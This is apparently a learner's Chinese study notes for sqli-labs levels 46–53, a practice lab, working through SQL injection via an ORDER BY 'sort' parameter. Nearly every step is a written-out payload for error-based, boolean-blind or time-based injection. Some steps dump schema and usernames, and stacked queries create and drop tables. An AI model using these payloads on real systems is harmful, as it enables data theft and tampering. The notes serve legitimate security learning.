sql-labs闯关46~53:
友善爱国公正诚信富强诚信和谐诚信富强和谐诚信自由爱国友善平等友善自由诚信富强诚信民主
复习笔记1
内容:
- sql-labs第46关(GET请求-基于错误-数字型-order by 排序)
- sql-labs第47关(GET请求-基于错误-字符型-order by 排序)
- sql-labs第48关(GET请求-基于错误-盲注-数字型-order by 排序)
- sql-labs第49关(GET请求-基于错误-字符型-盲注-order by 排序)
- sql-labs第50关(GET请求-基于错误-order by 排序-数字型-堆叠注入)
- sql-labs第51关(GET请求-基于错误-order by 排序-字符型-堆叠注入)
- sql-labs第52关(GET请求-基于盲注-order by 排序-数字型-堆叠注入)
- sql-labs第53关(GET请求-基于盲注-order by 排序-字符型-堆叠注入)
1.sql-labs第46关
欢迎界面第一句黄字提示了,这关输入的参数是sort
,第二句我没看懂
先不管了,输入?sort=1
,出现一个列表,以ID升序排列,我对这关的目的感到迷茫,前面的关卡爆数据就结束了,这关直接就给了,难道这关是为了爆表爆字段?如果可以的话,我希望有通关目标写在附近,不然都不知道要干嘛,果断百度
Sqli-Labs:Less 46 - Less 49*
Sqli-labs 复习 Less46-53 order by 后的注入
Sqli-labs less 46
sqli-labs(46-49)
SQL注入-order by注入
根据上面的那些资料,大致整理了一下,整个思维导图
输入?sort=rand()
,页面发生变化,那么说明这关是数字型,不用找闭合点了,哈哈哈哈哈
先尝试报错型方式,输入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+
成功爆库
?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
爆表
?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+
爆字段
?sort=extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+
爆数据
2.sql-labs第47关
输入?sort=1
,出现一个列表,以ID升序排列
输入?sort=rand()
,页面无变化,那么说明这关是字符型
输入?sort=1'
,出现报错信息,确定闭合点为'
这关有闭合点,不能像上关一样,先闭合再注入,输入?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),database()))--+
成功爆库
?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
爆表
?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+
爆字段
?sort=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),(select username from users limit 0,1)))--+
爆数据
3.sql-labs第48关
输入?sort=1
输入?sort=rand()
,页面发生变化,那么说明这关是数字型
尝试报错注入,输入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+
没成功,看起来我要用布尔型
首先要知道,条件为假时,页面显示,所以输入?sort=rand(0)--+
记住id顺序
其次条件为真时,页面显示,输入?sort=rand(1)--+
记住id顺序
输入?sort=rand(length(database())>5)--+
,判断数据库长度,从结果来看,条件为真,所以数据库长度>5,以此类推,,,请参考前面的盲注篇
输入?sort=rand(mid(database(),1,1)>'m')--+
判断数据库第一个字母范围,从结果来看,条件为真,所以数据库第一个字母范围在(m,z]间
输入?sort=rand((select count(table_name)from information_schema.tables where table_schema=database())>5)--+
判断数据表张数,从结果来看,数据表张数<=5
输入?sort=rand(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5)--+
判断第一张数据表长度,从结果来看,第一张数据表长度>5
输入?sort=rand(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m')--+
判断第一张数据表的第一个字母范围,从结果看,在[a,m]间
输入?sort=rand((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')>5)--+
判断符合条件的字段数,从结果来看,字段数<=5
输入?sort=rand(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5)--+
判断第一个字段长度
输入?sort=rand(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m')--+
判断第一个字段的第一个字母是否>m
输入?sort=rand((select count(username) from users)>5)--+
判断username记录数是否>5
输入?sort=rand(length((select username from users limit 0,1))>5)--+
判断第一条记录长度>5
输入?sort=rand(mid((select username from users limit 0,1),1,1)>'m')--+
判断第一条记录的第一个字母范围
4.sql-labs第49关
输入?sort=1
输入?sort=rand()
,页面无变化,那么说明这关是字符型
输入?sort=1'
没报错信息,不能用报错注入了,输入?sort=1'--+
尝试闭合,成功。确定闭合点'
输入?sort= 1' and (if(length(database())>5,sleep(3),1))--+
判断数据库长度
输入?sort= 1' and (if(mid(database(),1,1)>'m',sleep(3),1))--+
判断数据库第一个字母范围
输入?sort= 1' and (if((select count(table_name)from information_schema.tables where table_schema=database())>5,sleep(3),1))--+
判断数据表张数>5
输入?sort= 1' and (if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(3),1))--+
判断第一张数据表长度
输入?sort= 1' and (if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m',sleep(3),1))--+
判断第一张数据表的第一个字母范围
输入?sort= 1' and (if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')>5,sleep(3),1))--+
判断符合条件的字段数是否>5
输入?sort= 1' and (if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5,sleep(3),1))--+
判断第一个字段长度
输入?sort= 1' and (if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m',sleep(3),1))--+
判断第一个字段的第一个字母是否>m
输入?sort= 1' and (if((select count(username) from users)>5,sleep(3),1))--+
判断username记录数是否>5
输入?sort= 1' and (if(length((select username from users limit 0,1))>5,sleep(3),1))--+
判断第一条记录长度>5
输入?sort= 1' and (if(mid((select username from users limit 0,1),1,1)>'m',sleep(3),1))--+
判断第一条记录的第一个字母范围
5.sql-labs第50关
输入?sort=1
输入?sort=rand()
,页面发生变化,那么说明这关是数字型
尝试报错注入,输入?sort=extractalue(1,concat(0x7e,database(),0x7e))--+
爆库
堆叠注入,输入?sort=1;create table series50 like users--+
查询1,并新建表名为series50,格式类似users
输入?sort=1;insert into series50 values(1,1,1)--+
查询1,插入一条id、username、password为1的记录
输入?sort=1;drop table series50 --+
查询1,再将表series50删除
6.sql-labs第51关
输入?sort=1
输入?sort=rand()
,页面无变化,那么说明这关是字符型
输入?sort=1'
,判断闭合点是否与'
相关
再输入?sort=1'--+
尝试闭合,确定闭合点为'
输入?sort=1';create table series51 like users--+
查询1,并新建表名为series51,格式类似users
输入?sort=1';insert into series51 values(2,2,2)--+
查询1,插入一条id、username、password为2的记录
输入?sort=1';drop table series51 --+
查询1,再将表series51删除
7.sql-labs第52关
输入?sort=1
输入?sort=rand()
,页面发生变化,那么说明这关是数字型
输入?sort=1;create table series52 like users--+
查询1,并新建表名为series52,格式类似users
输入?sort=1;insert into series52 values(3,3,3)--+
查询1,插入一条id、username、password为3的记录
输入?sort=1;drop table series52 --+查询1,再将表series52删除
8.sql-labs第53关
输入?sort=1
输入?sort=rand()
,页面无变化,那么说明这关是字符型
输入?sort=1'
,判断闭合点是否与’相关,结果没有报错信息,那么只能尝试闭合
输入?sort=1'--+
尝试闭合,确定闭合点为'
输入查询1,并新建表名为series53,格式类似users
输入?sort=1';insert into series53 values(4,4,4)--+
查询1,插入一条id、username、password为4的记录
输入?sort=1';drop table series53 --+
查询1,再将表series53删除